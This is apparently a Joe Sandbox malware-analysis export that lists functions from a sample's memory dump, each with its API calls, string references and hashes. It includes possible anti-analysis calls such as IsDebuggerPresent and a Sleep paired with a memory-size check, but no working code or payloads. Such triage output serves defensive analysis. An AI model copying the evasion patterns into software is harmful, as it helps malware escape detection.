Opcode ID: c8fff52d2c0d19da588147d73e7d645867930552e1f6236cff98b982b4d1ef3f
Instruction ID: 0355a552dc236e7665b1634aa556cefde529e3ea370c61cb37a3b51f6387f7dc
Opcode Fuzzy Hash: c8fff52d2c0d19da588147d73e7d645867930552e1f6236cff98b982b4d1ef3f
Instruction Fuzzy Hash: 9A619375A00219EFDB14DF98C895EBEBBB9FF49310F104169F916AB291DB34AE40CB50

Function 005A2957 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 005A2968
GlobalMemoryStatusEx.KERNEL32(?), ref: 005A2981

Strings

@, xrefs: 005A2975

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: 73b2dd2782afd78590ebde6cf271ed1686f870f966dc69f83a9a9e4bfab74217
Instruction ID: dc1dbec7d279d0acc1365174776793466f1a6ab100594afb556349dd69fdc8d7
Opcode Fuzzy Hash: 73b2dd2782afd78590ebde6cf271ed1686f870f966dc69f83a9a9e4bfab74217
Instruction Fuzzy Hash: 1E5137714187459BD720EF14D88ABABBBECFBC5344F41885DF2D8810A1EF309929CB66

Function 005F9734 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00594F0B: __fread_nolock.LIBCMT ref: 00594F29

_wcscmp.LIBCMT ref: 005F9824
_wcscmp.LIBCMT ref: 005F9837

Strings

FILE, xrefs: 005F9770

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: _wcscmp$__fread_nolock
String ID: FILE
API String ID: 4029003684-3121273764
Opcode ID: df1957b235b84377412fbf4b320a0e4ed52959ee90a4ffbb8b76bac0664d33e9
Instruction ID: c091026d7620de0b963f1658a57adba78da04223c3963f5f8bfe6e2ffe78d5c3
Opcode Fuzzy Hash: df1957b235b84377412fbf4b320a0e4ed52959ee90a4ffbb8b76bac0664d33e9
Instruction Fuzzy Hash: A141A571A0060BBADF219AA4CC49FFFBFBDEF85710F000469FA04A7181DA75A905CB61

Function 005D0574 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 005D057F

Strings

Dde, xrefs: 0059A151
Dde, xrefs: 0059A317

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: ClearVariant
String ID: Dde$Dde
API String ID: 1473721057-2333416804
Opcode ID: 7cb528a519c8e44930c9ca827b8bcb1c06562507ff476d397a01781493d99b2b
Instruction ID: b2f46d21507ed46b7a757149372c28311109cb8e22a8f19d3a6d8edad8ea19ca
Opcode Fuzzy Hash: 7cb528a519c8e44930c9ca827b8bcb1c06562507ff476d397a01781493d99b2b
Instruction Fuzzy Hash: DA51E2786083428FDB54CF18C584A2ABBF2FB99354F54985DF9858B361E331E881CB92

Function 0060258E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0060259E
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 006025D4

Strings

|, xrefs: 006025A5

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: CrackInternet_memset
String ID: |
API String ID: 1413715105-2343686810
Opcode ID: ea07a6a475945cdb21194d88af4cbc1e130bb14fb9ba5eeea81e17b56ef25ca2
Instruction ID: ff4ec3b728c0f8c93f2665a2b8891723e627e30cb29864df72934ce286294b0a
Opcode Fuzzy Hash: ea07a6a475945cdb21194d88af4cbc1e130bb14fb9ba5eeea81e17b56ef25ca2
Instruction Fuzzy Hash: 0B311B7181011AEBCF05EFA0CC89EEEBFB9FF49310F10105AF915A6262EB315956DB60

Function 00617A71 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001132,00000000,?), ref: 00617B61
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00617B76

Strings

', xrefs: 00617ACA

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: f194b62e7a61592e965f9ad2da8446944f4284c49cabe98e535e0726c4f38e63
Instruction ID: 2cb052e0d13cedc276ce8652c5599dcb9ae39328f5c7079f6441ff0d8bc872e8
Opcode Fuzzy Hash: f194b62e7a61592e965f9ad2da8446944f4284c49cabe98e535e0726c4f38e63
Instruction Fuzzy Hash: 17410874A0930A9FDB14CF64C891BDABBB6FF08300F14016AE905AB351D771AA91CF90

Function 00616A63 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 00616B17
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00616B53

Strings

static, xrefs: 00616AB3

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: 3f799a09490442d44be2bf5c1e1f362203a3da71791097b5818f492d6ebe1a79
Instruction ID: 4d3584e7500d4f63489c73ec5557fc8899a29012424495d35bc433cfe8969759
Opcode Fuzzy Hash: 3f799a09490442d44be2bf5c1e1f362203a3da71791097b5818f492d6ebe1a79
Instruction Fuzzy Hash: E6318D75200604AEDB109F68DC80AFB77BAFF48760F14961DF9A9D7290DA31AC91C760

Function 005F28A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 005F2911
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 005F294C

Strings

0, xrefs: 005F290A

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: 3cf1d08f6b199d891e49d754f87b5aaf885abdb27fa95453828d9966d6b752e5
Instruction ID: 7babe735fb1a4157c642e034fa7c2b58dae1759959a2157477058d94b754ddd7
Opcode Fuzzy Hash: 3cf1d08f6b199d891e49d754f87b5aaf885abdb27fa95453828d9966d6b752e5
Instruction Fuzzy Hash: 2A31A0B160030D9BEB24CF98CA45BFEBFB9FF45350F140419EA85A71A0D7B89984CB51

Function 006166D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00616761
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 0061676C

Strings

Combobox, xrefs: 0061672E

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: 227b8278961273629689ad89666ce8d7746efc835d24219f738b63f982b33aba
Instruction ID: 45a8129bfd9af08a818cd8ab60b17fc1dc5ff9eaeb9cb539cf6d6197697d8fad
Opcode Fuzzy Hash: 227b8278961273629689ad89666ce8d7746efc835d24219f738b63f982b33aba
Instruction Fuzzy Hash: 6011B279300209AFEF11DF54CC80EFB376BEB883A8F144129F914972D0D6719C9197A0

Function 00616C07 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 00591D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00591D73
Part of subcall function 00591D35: GetStockObject.GDI32(00000011), ref: 00591D87
Part of subcall function 00591D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00591D91

GetWindowRect.USER32(00000000,?), ref: 00616C71
GetSysColor.USER32(00000012), ref: 00616C8B

Strings

static, xrefs: 00616C4E

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: f8daf76ea7e9c00503e549b1aef3ed7defc340a210b9c39c156fab86aec1b83c
Instruction ID: b593faf8124c904a6dcfdf13356f794a70b08435b7498bac8f4a7f0a620c63c2
Opcode Fuzzy Hash: f8daf76ea7e9c00503e549b1aef3ed7defc340a210b9c39c156fab86aec1b83c
Instruction Fuzzy Hash: 4A21297651020AAFDF04DFB8CC45AFA7BAAFB08314F045629F995D2250E635E891DBA0

Function 00616920 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 006169A2
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 006169B1

Strings

edit, xrefs: 00616986

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: c7cff3b10151c978b2bc7164311209150705ca3d48d18959ee42c431a5fa1de9
Instruction ID: adde119a8c8eb136e674524882e2295dcf9611dcaebe67dcaf2107ea866032dc
Opcode Fuzzy Hash: c7cff3b10151c978b2bc7164311209150705ca3d48d18959ee42c431a5fa1de9
Instruction Fuzzy Hash: 00118F75500206ABEF108F74DC44AEB376BEB053B4F544B24F9A5972E0C771DC919760

Function 005F29AF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 005F2A22
GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 005F2A41

Strings

0, xrefs: 005F2A18

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: 0fe5c0dc3bdfd8d1a0334a7bc0b82cc65f16101b9d9d84421160b8dae3c5b252
Instruction ID: 72573e8210bc1887abf6815c7c0632a8937cabc9710451d006ea2e248653e745
Opcode Fuzzy Hash: 0fe5c0dc3bdfd8d1a0334a7bc0b82cc65f16101b9d9d84421160b8dae3c5b252
Instruction Fuzzy Hash: 2C11E9B291121CABCF30DB58DC45BFA7FB9BB45300F044025EA95E7250D7B8AD06C791

Function 006021D6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 0060222C
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00602255

Strings

<local>, xrefs: 0060221D

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 6d5dfcb09d6c1da2b2c12c26792db24e48a89873a81c3f26599e70c1819d7917
Instruction ID: 4cfbeced81ffb2b6120a9d30b093f1cc11006c0f54f3812bad0b6ae5e3487d59
Opcode Fuzzy Hash: 6d5dfcb09d6c1da2b2c12c26792db24e48a89873a81c3f26599e70c1819d7917
Instruction Fuzzy Hash: B1110670581226BADB288F918CACEFBFBAEFF16751F10822AF50446180D2705E95D6F0

Function 005A092D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,00593C14,006552F8,?,?,?), ref: 005A096E

Part of subcall function 00597BCC: _memmove.LIBCMT ref: 00597C06

_wcscat.LIBCMT ref: 005D4CB7

Strings

Se, xrefs: 005A09AE

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: FullNamePath_memmove_wcscat
String ID: Se
API String ID: 257928180-1216286684
Opcode ID: f7d68f9f929157bca82307e8f6eda3573e90829e4428fe7f0ce9cd6a0223c8f9
Instruction ID: f14a75bc63ef0960536e7ae83c94e3038454c3f05e5280ddce26efa2a2ae4e5f
Opcode Fuzzy Hash: f7d68f9f929157bca82307e8f6eda3573e90829e4428fe7f0ce9cd6a0223c8f9
Instruction Fuzzy Hash: B911A530A1520A9FCB00EBA4C80AEDE7FB9FF4D351F0454A6B949D7281EA709B884B11

Function 005E8E05 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00597DE1: _memmove.LIBCMT ref: 00597E22

Part of subcall function 005EAA99: GetClassNameW.USER32(?,?,000000FF), ref: 005EAABC

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 005E8E73

Strings

ListBox, xrefs: 005E8E3D
ComboBox, xrefs: 005E8E12

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 327de2fb48dd4b771ea945ef6612194f697d9d22fa91300d6b3fb0390ac7c78e
Instruction ID: cf05b0971188fa7b58df770c4cf1290086bd548996cc2631e15bff0c0ebe8380
Opcode Fuzzy Hash: 327de2fb48dd4b771ea945ef6612194f697d9d22fa91300d6b3fb0390ac7c78e
Instruction Fuzzy Hash: 4601F57160121AAB9F19EBB1CC499FE7B69BF45320B040A19B865572D1EF315808D650

Function 005E8CFD Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00597DE1: _memmove.LIBCMT ref: 00597E22

Part of subcall function 005EAA99: GetClassNameW.USER32(?,?,000000FF), ref: 005EAABC

SendMessageW.USER32(?,00000180,00000000,?), ref: 005E8D6B

Strings

ListBox, xrefs: 005E8D35
ComboBox, xrefs: 005E8D0A

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: de7b3c8f981772e8293b4d9b76c391418e12dbe1c1132b5bb50226f29583af65
Instruction ID: eacb4236a6611ff1155d4b8edcea23b3cabf84296b72536817eecdcf8ba7b61b
Opcode Fuzzy Hash: de7b3c8f981772e8293b4d9b76c391418e12dbe1c1132b5bb50226f29583af65
Instruction Fuzzy Hash: 6701D871641209ABDF19E7A1CD56AFE7BA9AF55300F1000257445631D1DE215E08D2B1

Function 005E8D82 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00597DE1: _memmove.LIBCMT ref: 00597E22

Part of subcall function 005EAA99: GetClassNameW.USER32(?,?,000000FF), ref: 005EAABC

SendMessageW.USER32(?,00000182,?,00000000), ref: 005E8DEE

Strings

ListBox, xrefs: 005E8DBA
ComboBox, xrefs: 005E8D8F

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 152479953306ecdfb714de9be87e1fbf75ee7834930813af20dc2862d75a02ef
Instruction ID: 2e548a0a27914544cdec0d2e4529ada186ba9fd3a473543771ec34229423f2cf
Opcode Fuzzy Hash: 152479953306ecdfb714de9be87e1fbf75ee7834930813af20dc2862d75a02ef
Instruction Fuzzy Hash: 9501F771A4120AABDF15E7A5CE4AAFE7BA9AF15300F140026B845A3291DE215E08D271

Function 005EC4EB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 005EC534

Part of subcall function 005EC816: _memmove.LIBCMT ref: 005EC860
Part of subcall function 005EC816: VariantInit.OLEAUT32(00000000), ref: 005EC882
Part of subcall function 005EC816: VariantCopy.OLEAUT32(00000000,?), ref: 005EC88C

VariantClear.OLEAUT32(?), ref: 005EC556

Strings

d}d, xrefs: 005EC517

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Variant$Init$ClearCopy_memmove
String ID: d}d
API String ID: 2932060187-1624315924
Opcode ID: ba0edbe83c2e880198d9d955b1ff532a1484c1a50d8d9f2a72cf79c547a874a7
Instruction ID: 5ba047c495be5b59b5fa89b259e3a7d6305215e4e5d03011bf9f23b8feb69310
Opcode Fuzzy Hash: ba0edbe83c2e880198d9d955b1ff532a1484c1a50d8d9f2a72cf79c547a874a7
Instruction Fuzzy Hash: 721112719007099FC710DF9AD88489AFBF8FF08310B50866FE58AD7611E771AA45CF90

Function 005F4F28 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 005F4F46
_wcscmp.LIBCMT ref: 005F4F58

Strings

#32770, xrefs: 005F4F52

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: ClassName_wcscmp
String ID: #32770
API String ID: 2292705959-463685578
Opcode ID: 88952268adff06050014d8fd7adee6a6b3fc70a4e88363c03a84dd250ae65abc
Instruction ID: 8e3be6719c09b77f5b33204cceff15043acc7a02fa1736cc4ede67b5ec6d3788
Opcode Fuzzy Hash: 88952268adff06050014d8fd7adee6a6b3fc70a4e88363c03a84dd250ae65abc
Instruction Fuzzy Hash: BEE092326002292AD720DB99AC49AA7FBACEB85B61F010167FD04D3191E960AA45CBE0

Function 005CB2C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 005CB314: _memset.LIBCMT ref: 005CB321

Part of subcall function 005B0940: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,005CB2F0,?,?,?,0059100A), ref: 005B0945

IsDebuggerPresent.KERNEL32(?,?,?,0059100A), ref: 005CB2F4
